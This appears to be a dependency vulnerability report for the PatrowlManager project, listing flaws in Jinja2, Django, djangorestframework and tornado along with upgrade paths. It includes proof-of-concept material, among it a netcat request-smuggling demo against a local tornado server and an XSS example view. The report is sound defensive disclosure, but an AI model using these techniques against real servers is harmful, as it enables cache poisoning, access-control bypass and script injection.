  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreschema@0.0.4.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 coreschema@0.0.4 jinja2@2.11.3

Overview

Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.

Affected versions of this package are vulnerable to Template Injection through the |attr filter. An attacker that controls the content of a template can escape the sandbox and execute arbitrary Python code by using the |attr filter to get a reference to a string's plain format method, bypassing the environment's attribute lookup.

Note:

This is only exploitable if the application executes untrusted templates.

Remediation

Upgrade Jinja2 to version 3.1.6 or higher.

References

medium severity

Arbitrary File Upload

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@3.2.19.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Arbitrary File Upload by bypassing of validation of all but the last file when uploading multiple files using a single forms.FileField or forms.ImageField.

Remediation

Upgrade django to version 3.2.19, 4.1.9, 4.2.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@3.2.23.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via the NFKC normalization function in django.contrib.auth.forms.UsernameField. A potential attack can be executed via certain inputs with a very large number of Unicode characters.

Note: This vulnerability is only exploitable on Windows systems.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.23, 4.1.13, 4.2.7 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@3.2.25.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in django.utils.text.Truncator.words(), whose performance can be degraded when processing a malicious input involving repeated < characters.

Note:

The function is only vulnerable when html=True is set and the truncatewords_html template filter is in use.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade django to version 3.2.25, 4.2.11, 5.0.3 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: djangorestframework
  • Introduced through: djangorestframework@3.15.1, django-rest-swagger@2.2.0 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1
    Remediation: Upgrade to djangorestframework@3.15.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

djangorestframework is a powerful and flexible toolkit for building Web APIs.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the break_long_headers template filter due to improper input sanitization before splitting and joining with <br> tags.

PoC

# views.py
from rest_framework.views import APIView
from rest_framework.response import Response

class Index(APIView):
    def get(self, request):
        username = request.GET.get('username', '')

        response = Response('OK')
        response['Location'] = f'https://x.com/{username}'
        return response

# urls.py
from django.urls import path
urlpatterns = [ path('api/', Index.as_view()), ]

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade djangorestframework to version 3.15.2 or higher.

References

medium severity

Insufficient Session Expiration

  • Vulnerable module: djangorestframework-simplejwt
  • Introduced through: djangorestframework-simplejwt@4.4.0

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0
    Remediation: Upgrade to djangorestframework-simplejwt@5.2.2.

Overview

djangorestframework-simplejwt is an A minimal JSON Web Token authentication plugin for Django REST Framework

Affected versions of this package are vulnerable to Insufficient Session Expiration due to access tokens not expiring.

Remediation

Upgrade djangorestframework-simplejwt to version 5.2.2 or higher.

References

medium severity
new

HTTP Header Injection

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.5.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Header Injection via the reason argument in HTTP status handling. An attacker can inject arbitrary HTTP headers or execute malicious scripts in the browser by supplying crafted input to the RequestHandler.set_status or tornado.web.HTTPError parameters.

##Workaround

This issue can be mitigated by controlling the usage of untrusted data for the reason argument.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: tornado
  • Introduced through: tornado@5.1 and flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce tornado@5.1
    Remediation: Upgrade to tornado@6.4.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2 tornado@5.1
    Remediation: Upgrade to flower@0.9.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the handling of multiple Transfer-Encoding: chunked headers. An attacker can desynchronize the connection and potentially bypass ACLs or poison caches by sending crafted requests with duplicate Transfer-Encoding: chunked headers.

PoC

Install Tornado

Start a simple Tornado server that echoes each received request's body:

cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &

Send a valid chunked request:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe that the response is as expected:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z

Send a request with two Transfer-Encoding: chunked headers:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe the strange response:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

Remediation

Upgrade tornado to version 6.4.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@2.2.27.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
